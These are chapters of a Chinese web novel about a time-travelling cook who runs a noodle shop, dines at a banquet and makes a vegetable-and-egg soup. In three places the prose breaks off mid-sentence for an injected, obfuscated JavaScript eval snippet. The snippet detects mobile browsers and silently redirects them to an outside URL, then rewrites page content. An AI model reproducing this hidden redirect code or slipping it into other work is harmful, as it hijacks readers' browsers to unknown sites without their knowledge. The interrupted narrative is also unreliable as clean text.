清秀公子长哦了一声，与他碰杯后一饮而尽，不怀好意地笑道：“伟诚兄若能在那事上多助小弟，这几日小弟定当力尽地主之谊。” “哈哈哈，好说，好说！”…… 隔壁桌的话题也大概如此，各种情绪流转在此起彼伏的高谈阔论和酒杯相碰声中。 “喂，这镜花阁是什么地方？”尚怀真听着那不绝于耳的欢声笑语，搓了搓李修阙问道。却见他锁着眉在看着五楼的方向，没有理会自己，不知道在想些什么。 见楼下有彩衣蝶影翩然进场，她也没感觉到被晾在一旁的尴尬，赶忙招呼林氏两姐妹一起过来看。 “锵！” 一道铿锵的琴声响起，舞台中有个红衣女子从天而降，卷起一地落花。 11. 金瑞衔珠 “今日第一道菜，名为金瑞衔珠。小女子将舞一曲惊鸿，望各位樽箸尽兴。” 身着红衣的珠珠姑娘捧着炸至金黄的头菜，脚尖点地，轻盈地落在舞台中央。随她一同落下的花瓣有不少打在了前排食客的脸上，竟没有一朵能玷污她手中的菜碟。 她脸上的笑容淡淡的，有些生人勿近的感觉，银铃般的声线却令众人都听呆了，痴痴地望着这道红妆下依然清丽的身影。 “好！好！精彩！仙女姐姐你太厉害了！”尚怀真鼓起掌来，这惊艳的一幕让她根本想不出合适的词语诗句能完美形容出台中女子此刻的美丽。 随着尚怀真的鼓掌声，众人如梦初醒，漪福楼内瞬间掌声雷动。 珠珠循声看过去，正好与盯着自己的李修阙四目相对，瞳孔猛然收缩了一下，回以一笑后，拉过纱幔，直直腾空飘向五楼，将菜端入金乾轩。 舞台上的四位琴师适时弹起歌曲，貌美的镜花阁姑娘们轻移莲步，捧着金瑞衔珠，随着音律，纷纷扭着婀娜腰肢走上了楼，大堂则由漪福楼自家的小二们来回传菜。 李修阙见珠珠的身影消失在金乾轩中后，藏在袖中的手暗暗握紧了拳。 而金乾轩内，此刻也有一双眼睛正在看着李修阙。 “李修阙，快过来吃饭了，这乳猪放凉了皮就不脆了。”尚怀真看着桌上脆皮乳猪的表皮还在滋滋冒油，不禁食指大动。 让上菜的美女不用服侍后，研究了一下摆盘，只见因在脆皮乳猪的嘴中和四肢处一共夹放了五块鲍鱼，这道菜便叫金瑞衔珠。 她自叹不如，也不知道这种名字是怎么想出来的，估计自己这辈子都不会有这个文采了。 见李修阙已经回过了身来，却还坐在那里发呆，先给他夹了一碗后，让林氏姐妹不要客气，就率先开动了。 一口下去，金黄色的表皮脆酥鲜美，皮下肉质爽滑，因外焦里嫩，又夹杂着鲍鱼的咸香，口感从焦到咸层层过渡，更是令人欲罢不能。 “这头菜的水平真不错！”‘咔哧咔哧’声从齿间传出，吃得满嘴都是油的尚怀真称赞道。 “这是漪福楼陈掌勺的拿手好菜，今年厨王争霸，他就是靠这道菜通过选拔的，自然不错。”见那道身着红衣的俏丽身影复又回到台上，现正翩然起舞，李修阙心里松了一口气，走过去席边说道。 “香飘四溢，肥而不腻。”尚怀真欣赏地点了点头，点评了一句后，见他坐下，八卦地笑问：“怎么，这般魂不守舍的，你看上那珠珠姑娘啦？” 李修阙摇了摇头，将杯中酒一饮而尽，嘴巴微张，却什么都没说。 低头看到自己面前的碗被垒得满满的，他有些诧异，向尚怀真问道：“你帮我盛的？” 尚怀真不假思索地应了一声，说：“对呀，哪里知道你这个吃货想事情还要想多久，给你留些，一会别又缠着我回去给你做吃的了。” 对面的林映瑶吃得差不多了，一会看看这个，一会看看那个，好像在对比哪个哥哥更好看。 第二道菜上来后，因英雄救美事件心底里默默加了分的她，见怀真哥哥依然给出高度评价，鼓起勇气扯了扯她的袖子，说道：“适才那道金瑞衔珠其实阿姐也会做。我觉得陈伯伯炸出来的猪皮虽脆而不够酥，没及时食用的话就会变硬而影响口感，使味浓且腻，猪肉又只余咸味而缺了鲜香，可以用蜂蜜涂于表层，烤至油份沉入皮肉后再炸，脆脆的猪皮便没那么容易变硬啦。” 说罢，她一脸不解地歪着头，眼中有些失落：“可是阿姐和陈伯伯说了后，他道是我们小娃娃喜甜口之物在这瞎说，又过了几天，阿姐把她自己做的脆皮猪端给陈伯伯品试，不知为何陈伯伯至那以后就不再待我们好了。” 李修阙听完认可地点了点头，把还没吃完的猪肉放在一边，道：“你给我盛的这碗猪肉吃着确实有些发齁，这小丫头在吃这块还是挺有见解的。” 适才觉得这是尚怀真专门留给自己的，不吃完好像不太给她面子，现在说开了，终于不用再硬吞了。 尚怀真狐疑地看了他一眼，夹起他碗中吃剩的一块猪肉，口感确实和刚做好时大相径庭。虽然食物放久了遇空气肯定会变柴变硬，但这雅间里有地暖，还有一道屏风隔绝开露台处高流速的空气，按道理应该是不会变味得这么快的，如果会，那确实是手艺上还不够完美。 把一块佛跳墙夹进林映瑶的碗里，鼓励地问道：“瑶瑶是怎么想到这么巧妙的方法的呢？” 林映瑶把尚怀真夹过来的肉吃完后，扶着肚子摇摇头示意吃饱了，才答：“瑶瑶小时候常常能在不同酒楼的潲水桶里捡到食客才吃了几口的佳肴呢，有一些可好吃了！可是为什么他们花了钱还要这么浪费呢？” 尚怀真听罢，叹了一口气，揉了揉她的头，模棱两可地答了句每个人的需求不同，让她先去看漂亮姐姐们跳舞，一会饿了再过来继续吃，又向李修阙问道：“白天还没来得及问你，厨王争霸是项什么赛事，这种水平便能通过海选吗？通过后有什么益处？” “每隔三年的秋收之后，全国六大经济管制重镇都会举办一场厨王争霸海选赛，再将那些通过海选的人集于京都，参与决赛，决赛胜出的前十名，会有一人被当今点名后进入宫中晋为御厨，专事其饮食。那人自此便富贵荣身，成为一人之下，万人之上的天下名厨了。其流程和科举大同小异，只是选拔的是厨子，入选人数也较少罢。” 李修阙拿起林映玉给自己满上的茶，卷走口中的油脂，又道：“厨王争霸考察出餐的色、香、味，色讲究摆盘与酱料配色，菜品不得单一，呈现出来要让人有赏心悦目之感；香则要求菜品需挥发出食材本源的香味，不得过浓或过淡，还要达到让路人嗅之便垂涎三尺的水平；味即顾名思义，但不仅是主菜，辅菜以及佐料的味道皆要让在场所有评审满意才算合格。” 尚怀真听完这一大串话，简直云里雾里、头昏脑胀，这么多不仅、不得、还要，这老皇帝想吃个饭都那么挑剔，也不知道这样劳师动众地收罗全国各地的大厨干嘛。自己当探店博主虽已达到了可以自由选择商家的体量了，也没有像他这么癫。 “这金瑞衔珠刚端上来那会确实是美味绝伦，摆盘虽然我欣赏不来，但的确也挺有特色的。要求那么冗杂，每次能通过海选的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405587|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多吗？” 前面上的全是肉菜，第七道菜终于是嫩青解腻的素菜了，她连着吃了好几口，把被绕晕的大脑抽空出来，才又问道。 “不多，这厨王争霸不似科举，寒门亦可参与。因当今觉着穷苦人家一辈子都吃不上珍馐美馔，不知真正的美食是何滋味，故以需要有一定的名气，被举荐后方可报名，报名之时还要查明过往资质，但每次的门槛都不一样，只能说名气和产业都要越多越好。” 李修阙见尚怀真难得有一道菜是吃得举箸不停的，将那盆菜移得靠近她一些。 尚怀真囫囵说了句谢谢后，思考了一下，好奇道：“那这陈大厨既已通过了海选，回来后不自己开店是因为这漪福楼名气很大？他过两年还想去参加？” 李修阙见她嘴角还挂着菜汁的迷瞪模样，笑道：“难得聪明了一次，这漪福楼虽位于小小湖山县，却已晓喻离州，而且彭福生给他开出的薪资，估计不亚于他自己经营饭馆了。除了出类拔萃的前几名，后面不相上下的人实际更看重名气，为了保住项上人头，那群评审们也不可能将名不见经传的小将名字排于家喻户晓的人之前，以产生被人藉此追究徇私舞弊的风险。” “那这样对那些有真材实料的农家子不就很不利吗？就比如像瑶瑶这种于厨艺上有天赋之人，还是流民，怕被官府清查，连营生都难寻，就只能被埋没了？”尚怀真唏嘘地道。 林映瑶听到自己的名字，走到尚怀真的身旁，问她是在找自己吗，见对方摇头，乖乖地又坐到长姐身边，与其说起悄悄话。 “大部分是的，但也有靠自己逆天改命的案例，我记得第二届厨王争霸中就有一位名叫许代荣的大厨，靠自己一手出色的手艺，为全家买下可以扎根城市的户籍，还一路过关斩将，被当今一举选中，现在仍有天下第一名厨之称，无人可超越。”李修阙想了想，眼神中不无赞许。 “流民可以自己买户籍？”听完这段励志的故事，尚怀真有点兴奋。 李修阙点点头，道：“是的，只要有足够的钱就可以。” 得到肯定回答，尚怀真觉得这是这么多天以来，她听到的最好的消息了，下意识又问：“科举只容男子参与，这厨王争霸女子可以参加吗？” 李修阙没想到她会问这个，愣了一下，看了一眼同样震惊的林映玉，答道：“不可以，不过有一些女子会随夫婿参赛，在旁做副手，便充作自己参加了，一荣皆荣。” “这也太不公平了吧，女子自己既有此手艺，为何还要冠以夫婿之名。”尚怀真看着眼前的美味佳肴，瞬间没食欲了，刚刚的好心情不翼而飞，语气有些闷闷的，也不知道自己这女扮男装的身份还要维持多久。 对于一个爱穿裙子爱化妆的人来说，简直太煎熬啦！ 雅间中静默良久，连上菜的镜花阁姑娘都不禁多打量了尚怀真几眼。 李修阙喝茶的手顿住了，挑了挑眉，道：“你竟会这般想。其实只要丈夫能尊重和认可她们的付出，她们是不会在乎这些虚名的。” 尚怀真不忿地拍下筷子：“女子即为好，她们的好为何一定要得到男人的认可呢？” 12. 芙蓉汤（一） 月色如水，清辉洒在只余零星店铺的街道上，却因不断有马车自漪福楼处驶出，偶有高声醉语响起，并不显得冷清。 捧着被十一道菜填满的肚子，尚怀真满足地打了个饱嗝后和李修阙道别，坐在他帮忙雇的马车里，舒服地带着林氏两姐妹往城南街去。 有钱真好啊！她如是想。 秉着只要足够优秀，便能拥有特权的信念，尚怀真其实老早就想回家去研发新的菜品了，但民以食为天，看着琳琅满目的美食，还伴有歌舞美人助兴，她实在是走不动道了。 食色，性也。自己不过俗人一个，要做卷王也不差这一时半刻。 听着‘哒哒哒’的马蹄声，眼见月上中天，回到尚宅时，夜已经很深了。尚怀真给匆忙迎出来，呵着白雾的孟奶奶简单介绍了一下两人，便忙将她搀扶进堂屋就坐。 眼前亮堂后，身上也随之暖和起来。林映玉牵着正睁着大眼睛四处张望的林映瑶，恭敬地给两位长辈行了个礼。 尚广明在见到林映玉的瞬间，眼神突然变得怪怪的，但他一向喜怒不形于色，转瞬即逝的表情并没让人发现有何不妥。 倒是孟奶奶，亲自把她们拉到座位上，轻拍着映玉的柔荑，整个人一反往常般精神抖擞，满面笑容地说着要带她们去收拾房间。 尚怀真见她已经开始查户口了，赶紧把一个钱袋子从袖中拿出来递给她，兴奋道：“这里还有三两碎银和二百二十文铜钱，阿奶你明日和映玉她们去购置一些家用，找人修缮一下咱们的院子吧，今年咱就可以暖和热闹地过个年了。” “牛蛋，你怎的会有这多些钱？咱家虽然穷，但坑蒙拐骗之事是切切不可做的。”孟奶奶收起笑，紧张地看着那钱袋子许久，别说接过来了，连碰都不敢碰，还想叫尚怀真赶紧上交官府。 “牛蛋？怀真哥，你叫牛蛋呀，哈哈。” 林映瑶那道只扯了两下嘴角的笑容在旁人看来极具嘲讽意味，但尚怀真对她的性子已有初步了解，只哭笑不得地点了点她的眉心，说了句没大没小后，才将今天的事情粗略解释了一遍，怕孟奶奶不相信，还在原地连贯地打了一套拳给她看。 因小时候在乡下和奶奶相依为命，时常被村里的皮猴子欺负说是小野种，走在路上不是遭到他们扯头发就是被他们丢石子，小小的她当时实在想不明白，大家都是留守的，咋就逮着自己来薅呢？所以上了高年级后，见到有武术班在招生，她就赶紧报名了。 虽然只是为了在特定日子给领导们表演而开办的一个兴趣班，但确实也从那学到了些真真假假的把式，长大后勤加练习亦可勉强自卫。不过像今日那两个牛高马大的壮汉，正常来说以现在这个缩水了的小身板是完完全全不可能打得过的，所以穿越过来后，自己身上肯定是多了一些暂时还没摸清楚的能力，或许正像李修阙所说的类似内力而非内力的能量。 难道是金手指？她搞不明白，只好下次进系统再问问老咪了。 孟奶奶听完，被尚怀真耍宝似的拳法逗笑了，松了一口气，旋即又提心吊胆地问道：“那你掳了人家的钱财，又把彭东家要处理的人救了出来，他们会找上门来报复吗？” 对哦！尚怀真突然答不上话来了，顿时一阵后怕，怪自己冲动之下并没有想到这个问题。 “无妨，既已掳走了他们身上所有值钱的财物，身无分文的情况下为了拿到赏金以及保住这份营生，他们断不敢说出实情。漪福楼每日里要应对的客人数不胜数，只往后行事莫要太招摇，彭福生不会把两个小姑娘放在心上的。”尚广明见四个女子围在一起愁云满面，淡淡开口道。 一语惊醒梦中人，没想到自己这个行为竟阴差阳错地为自己铺好了后路，如果当时没有洗劫他们，还真未必是这个结果，尚怀真心有余悸地忙应和道：“对对对！现在世道艰难，他们又干了不光彩的事，定不会为了两个小姑娘而讨罚于东家。” 做人留一线，日后好相见？非也。必要时，还是不要做人的好。 孟奶奶见儿孙都一副淡定自若的样子，只好点点头，惴惴然道：“好吧，不过牛蛋你此番行事还是太过莽撞了，这次是对方过于大意，下次可不一定能有如此顺利了，往后这种事情还是要速速上报官差来处理。” 末了还嘱咐一句：“莫要再让阿奶担心。” 尚怀真不好意思地用手指拢了一下耳旁的碎发，认真地道了歉后，笑道：“以后不会再这么冲动啦。阿奶您先带映玉她们去收拾收拾，今夜我给你们做芙蓉汤，解腻暖身好睡觉。” “噔噔！”说着，她在老人惊讶的目光中，走到门边的一堆细软处，把刚刚在雅间内迎着众人不可置信的目光下打包回来的肉食甜点拿起来给孟奶奶看。 在古代，其实大部分人在外吃有剩菜都是会用手帕布袋打包回家的，不过在别人请客的情况下，碍于礼仪，就少有人会这么做了。当时李修阙着实惊愣了一下，但觉得尚怀真此举是早把他当成了自己人，只道她是真性情，并不感觉到有被冒犯。 而尚怀真其时只一心想着浪费是人类之耻，和林映瑶开心地收拾着残羹，哪里会理会别人怎么想。 此为小插曲不谈。孟奶奶带着姐妹俩出去后，尚怀真被尚广明叫住了。 甫一到他房中坐定，便被问道：“今日你是如何打倒那两个壮汉的，可以详细同我说说吗？” “我就是冲跳后给他后脑勺来了一拳，应该是他当时脑子都被下半身控制了，没反应过来，才会在回头的时候再被我一记上勾拳放倒了吧。”尚怀真思索了一会，其实自己也不太相信，只好这样来解释道，接着还连忙补充：“我自己只打倒了一人，另外一人是您徒弟打倒的哦。” “我徒弟？” “李修阙呀，他说跟您学武术的呢。”尚怀真疑惑地看了看尚广明的样子，又看了看他的腿，难道这瘸腿俊叔还有不止一个徒弟？自己身边隐藏着个当代孙膑？ 正在暗自打量她有没有说谎的尚广明闻言眼睛突然瞪大了一点，旋即又一如寻常般问道：“适才你说请你到漪福楼作客的朋友就是他吧？你们何时相识的？” “好些天前了，我第一次做阳春面的时候。”尚怀真回想了一下那家伙脸上总是令人手痒的欠揍小表情，答道。 尚广明点点头，终止了这个话题，延续回之前的内容，问道：“你从前学过武术？” 尚怀真喝了一口热茶，女人的第六感令她总觉得这便宜老爹心里藏着事情，看着徐徐升起的白雾，她点了一下头又摇了摇头，模棱两可地回道：“从前总被人欺负，为了自保便磨练了一下拳脚。” 天纵奇才？尚广明皱了皱眉，手指在桌上轻叩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405588|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下，又问道：“那你想学武术吗？” “呃，可以冒昧地问下，您的腿这样是如何教武术的呢？”尚怀真考虑了半晌，决定还是把自己心中的疑惑问出来。 - 厨房里的热锅升起驱散寒意的温度，将刚才便宜老爹抛出的橄榄枝暂时置之脑后，把菠菜、胡萝卜和香菇切好丁，尚怀真就开始制作宵夜了。 其实她一开始是想做罗宋汤的，那酸酸甜甜的味道简直开胃又上头，就着能吃好几碗大米饭。不过现在牛肉珍贵稀缺，耕牛宰之犯法，老牛一斤难求，用猪骨替代的话需先熬汤底，耗时要多上一倍，味道上可能还会有冲突，不太值当。肯爷爷家的芙蓉汤味道一样很鲜甜，而且做起来容易且健康，所以就决定是它了。 用葱花爆香锅里的油后，将胡萝卜丁和香菇丁一起炒熟，便有了类似雨后土壤的浓香气味扩散开来，不爱香菇的人可能会觉得这味道怪异呛鼻，但她这个香菇脑一手煸炒，另一只手就已经在擦着口水了。 少顷，再把开水倒入炒熟的蔬菜丁里，闷煮一会后，放入焯过水的菠菜，一边搅拌一边淋上鸡蛋液。看着蛋液在汤里一朵朵地开成花，最后加入适量盐调味，少量醋增鲜，就美美完成了碰瓷肯爷爷版芙蓉汤了。 尚怀真迫不及待地试喝了一碗，只一个字：鲜！因鲜而甜，比放味精还有其他合成调料的好喝多了。蔬菜汤和海鲜一样，就是要大道至简。 原想一次性喝到饱，但觉得独乐乐不如众乐乐，她还是先把提前热好的剩菜端上桌，给每人盛了一碗后，才满意地听着众人的夸赞，把汤续了又续。 轻吹去唇边热气腾升的香甜，一口下去，丝滑沁喉，清新的甜意在舌尖久久不散，润入胃里，不仅给腹中添了暖意，还卷走了一日的腥腻。 “牛蛋，你这个汤非常甜香美味，阿奶觉得也可以拿去面馆里售卖。这里间蔬菜切成了小块，显得料多而汤浓，就着米饭吃软口易消化，很适合我们这些吃多一些肉食就容易胃中腻阻的老人家，阿奶就很喜欢。”孟奶奶对桌上的鸡鸭鹅不感兴趣，一连喝了两大碗汤，还另外把里面的蔬菜捞起来吃。 尚怀真闻言，嘻嘻笑了一声，道：“阿奶，我做的每道菜，你都说好吃呢。” 见自己碗里又被尚怀真满上了汤，孟奶奶也笑道：“总没个正形，反正阿奶目前最喜欢这一道汤。” 坐在其身旁的林映玉浅尝了一碗就停筷了，也点了点头，道：“香菇原就有小肉菜之称，许多礼佛的夫人及高门贵女，饮食多以素餐为主，但又追求食之鲜，味之浓，仅水煮或煸炒的素菜难以符合她们的胃口。怀真你这道芙蓉汤兼具二者之功，或能吸引到许多女性食客。” 听罢，尚怀真和尚广明都不禁多打量了她几眼，这林映玉言行举止有章有法，见识广袤，谈吐气质完全不像是一个长期流浪之人，甚至与林映瑶根本不像两姐妹，更像是一个世家小姐。只手上的皲裂确实证明她先前过得挺苦的。 尚怀真忍不住想，该不会是哪家被流放的落魄千金遗落人间了吧。 又喝下一碗芙蓉汤，见汤盆已经见底了，她笑道：“家里面的几位女士都说好，那必须听你们的。到时再加以山药，更能饱腹且好看。明日你们去采购时，且记得买几盒胭脂，后日要靠你们两个小美人来帮我推广白玉芙蓉汤了。” 13. 芙蓉汤（二） 日升月落，日子在过着的时候觉得很慢，但其实眨眼间又是一天。 七日后，便是正月初一了。因大年前要准备年货、洒扫门庭，人们筹备年节的这些日子里总是忙得脚不沾地，久而久之的，南方一带便将趁墟采囤日定在了腊月二十四，方便民众们一次性买齐所需物品。 这一日，许多县城会取消当天的宵禁，放宽入城条件，以吸引更多攒了一年钱的农夫走卒来往贸易，使县令能在今年的计簿与年终自省中最后再大挥一笔，从而求得官进一步。 故而一大早，天际稍露曦光，不止离州，许多城镇的街道上，人头涌动，都已充斥着此起彼伏的赶集声与叫卖声。 在这热闹的氛围下，湖山县中却隐隐藏有一丝难以言说的压抑。 尚怀真刚将写着菜单的小木板架好，天空中就悠悠得飘起了雪花。她不禁缩了缩脖子，往手中呵了一口暖气，虽然这些天起早时，常能看到清晨的地面上覆有薄薄的积雪，但真正下雪今天还是头一回见。 昨儿去老木匠那里询问进度，得知他要在过年前两天才能帮自己把取餐牌赶出来，有点沮丧之际发现他那里还有卖可以写菜单的粉板，就顺带买了一块回来，以后路人经过时被菜香吸引，就不用特意凑到柜台上看价格了。 远远地看一眼粉板便能决定要不要上前消费，对一些囊中羞涩或重视面子的人或许是一项很友好的举动，说不定还可以把这一部分害羞的顾客发展起来。 从一直用小火温着的铁釜中盛起一碗白玉芙蓉汤，汤碗内冒起的水蒸汽打在脸上，瞬间就在鼻端凝成了密密麻麻的小水珠。 见旁边在房梁上挂灯笼的老人从爬梯上下来，尚怀真把汤端过去，递给席地而坐的老人道：“老大爷，您都忙活一早上了，快来先喝碗汤暖暖身子吧。” 坐在地上的老人揉着发酸的手臂，看着眼前热气腾腾的汤，喉头上下鼓动，却连忙摆手拒绝：“不用不用，少掌柜你太客气了，这碗汤得不少钱吧，我家老婆子做有了饭，一会就拿过来了。” 尚怀真看着他渴望又克制的眼神，温和地笑了笑，再把汤往前送了一点，道：“一碗蔬菜汤罢了，不值几个钱，我刚好也想找大爷您询问些事情。” 老人犹豫了一会，站起来拍掉手中的尘土后，才双手接过俊朗少年递过来的汤，不停地说着感谢。 尚怀真环视了街道一圈，见正在挂灯笼的大部分都是已生白发的老年人，不解地问道：“大爷，为何都是您们这些上了年纪的老人家在挂灯笼呀？” 老人喝下一口白玉芙蓉汤，只觉舌口生津，胃里瞬间暖和了起来，身上的寒意也褪去了几分，冻僵的脸上因气血上涌，不自禁地爬起了笑容，无奈地答道：“说是上头的大老爷今明两日会来咱湖山县巡查，村里的壮丁都被急召去修补城墙和清赶流民了，可这挂灯笼的事务往常也都是征调他们去做的，没法，家中缺了适龄男子，就只能我们这把老骨头顶上了。” “不做不行吗？城里还有那么多人可以补上，您都这么一大把年纪了，万一有个闪失可怎么办？”尚怀真不认可地摇摇头。 老人叹了一口气，捧着还不舍得喝完的半碗汤，道：“你们城里人不懂，这就与上交田赋一样，不做可是要记大过的，我家大孙子还要参加科考，我这把老骨头可不能耽误了他。” 才说上两句，一个皮肤黝黑，身形清瘦的老妇人提着简易的木质饭盒急匆匆走了过来，把袖中的汤婆子递给了刚与尚怀真攀谈的老人，白雾不断地从她微张的口中呼出，她对着老人关切道：“老头子，今日那些衙役没找你麻烦吧？你快先趁热把中饭吃了。” “没有没有，看你急的。这是这位小郎君做的汤，老婆子你快尝一尝。”老人好笑地看了一眼老妇人，忙将她手上的东西卸下，把用棉衣裹着的汤拿出来，满眼宠溺地看着她喝下。 尚怀真看着眼前这温馨柔情的一幕，感觉心里甜甜软软的，其实不论贫穷富贵，只要在爱的人身边，便是最大的幸福了吧。也不知道自己这辈子还能否拥有这般细水长流的爱情。 老妇人喝完汤，那鲜甜的滋味让她双眼都亮了起来，对着尚怀真大夸特夸，还意犹未尽地问道：“小郎君，你的手艺真了得，这汤卖多钱一碗？老婆子我想买两碗给儿媳们送去，她们估计还未用膳呢。” 尚怀真回过神来，笑道：“婆婆您谬赞了，不介意的话就和大爷一起来小馆歇息一下吧，我们这还有别的吃食，味道都不错的。” 给两位老人上了一份肉夹馍，又见一名衙役正用水火棍驱赶着一个衣衫褴褛，正在各家食肆里翻找着食客吃剩下餐食的流民。 “走走走，买好物什赶紧出城去，若冲撞了县令及上头的大老爷，你这条小命就别想着还能留到过年了。” 流民方走到永兴面馆处，便被香味吸引地走不动道，见驱赶自己的衙役并没有赶尽杀绝的意思，连忙在不多的桌面上搜寻起来，却见每个还未来得及收拾的碗里，都被吃得一干二净。 “这碗汤和两张烙饼您拿去吧，那衙役看着是位心善人，以您的名义也给他送去一份汤吧。”见这位流民虽衣衫褴褛，却能把自己收拾得齐整干净，今日装作食客的林映玉心生不忍，轻轻开口道。 流民闻言愣了一下，抬眼望过去，但见说话的女子面若桃花，仅二八年华便已出落得有惊人之姿，其秀眉微蹙，柔和的神情下略带怜悯地看着自己，不禁双腿一软，直接跪倒在地，对她高呼感谢：“谢过女菩萨，谢过女菩萨！” 林映玉一惊，连忙起身将人扶起，十分抱歉地看了尚怀真一眼，才对流民说道：“大叔您太折煞我了，我曾受过这店家的救助，如今便也想着能帮即帮，断称不上菩萨二字。” 流民甚至还没反应过来自己被扶起了，受宠若惊地接过两张表面涂满了肉酱的烙饼，小心翼翼地藏于里衣中，然后把其中一碗还冒着热气的白玉芙蓉汤端给在永兴面馆外盯着自己的衙役，承诺自己会马上离开后，才又折返回来千恩万谢地拿走了赠予自己的那碗。 衙役在流民感激的目光下喝下一口汤后，顿觉暖意升起春风，轻轻拂过脸庞，带去一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409406|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寒冰。在县令强烈的截杀肃清要求下，他不知宽放流民此举是对是错，但这来自善意的馈赠，却是如此可口润心。 目送流民走后，复又看向面馆内那位独自用餐的女子，只见她低着头，用手拢着可能随时会滑落的乌发，悠然地品尝着面前的美食。“原来仙子也是会栖身人间烟火的吗？”他如是想。 林映玉感觉到有人看着她，抬头望过去，四目相对之际，只见那名年轻的衙役整个人都呆住了，红透的脸与肩上的落雪形成鲜明对比，她微微一笑，点头致意后便又继续享用剩下的吃食，心里琢磨着别的事情。 脸红心跳的衙役与她目光接洽后，眼前瞬间只余对视的这一刻，满脑子都被这位仙子填满了。心里说服自己冷静下来后，正想上前攀谈，却见有几个贵女模样打扮的姑娘，先他一步，将他的仙子围住。 “这位姐姐，你点的这个烙饼好吃吗？我见肉夹馍也不错，不知道选哪个好。” 林映玉见与自己搭话的姑娘簪着未笄的发样，手里拿着一卷纸，正好奇地看着她盘中的烙饼。她微笑答道：“好吃的，我向来喜清斋素食，掌柜便给我推荐了这烙饼与白玉芙蓉汤，确实很是美味。” 这时，搭话姑娘的一个朋友从永兴客栈里绕了一圈后走了出来，有些嫌弃地用手帕掩了掩鼻子，对她道：“颐香，这环境也太差了些，连个可坐的地儿都没有，也就你这嘴馋的偏要来。” “妙菡，你此话非也，贤者云，山不在高，有仙则名，同理，美味的吃食也可能藏于陋巷街角里。”颐香举着食指否定道，那副神态俨然一个小教书先生的模样。 唤作妙菡的少女无奈地扶了扶额，求救般说：“好啦，难得出来一趟，陪你尝尝就是了，别整日里学得和你那书呆子父亲一模一样。”随后又看向结伴同来的另外两人，问道：“你们想吃什么，我过去一同买了。” 颐香看着那明明嫌弃却又迁就自己的背影，想到自己能有这么一个好朋友，开心溢于言表，向林映玉问道：“姐姐，我们能和你搭台吗？总觉得你这里看着干净些。” 得到应允后，几个小姐妹争相去帮妙菡拿餐食，还纷纷瞅了尚怀真几眼，小声议论着这家面馆的小掌勺生得倒还挺俊俏。夜里听林映玉说起这档子闺中小语，尚怀真哭笑不得。 此时，品珍阁最上等的雅间内，被县令叫来的几位湖山县里最有头面的儒士富商，正陪着吏部侍郎和大理寺少卿在掌酒阔论，其中便有薛父和彭福生。 “这家永兴面馆宾客不绝，男女老少皆有光顾，想来味道定是不错的，振中，你可有去品尝过？”大理寺少卿穿着寻常家居的灰色衣褂，站在窗边，看了看手中从路边小女孩处接过来的一卷纸张上的内容，又看了看在永兴面馆前热络排着队的民众，问道。 看着这个多年未见的同窗，薛父不知心里是何滋味，但见其神情一如少年时，便笑着答道：“有幸被小女请客过一次，确实不错。” 大理寺少卿见他神态如常，挑了挑眉，心中微叹，也随之笑道：“那便一同去尝尝罢。”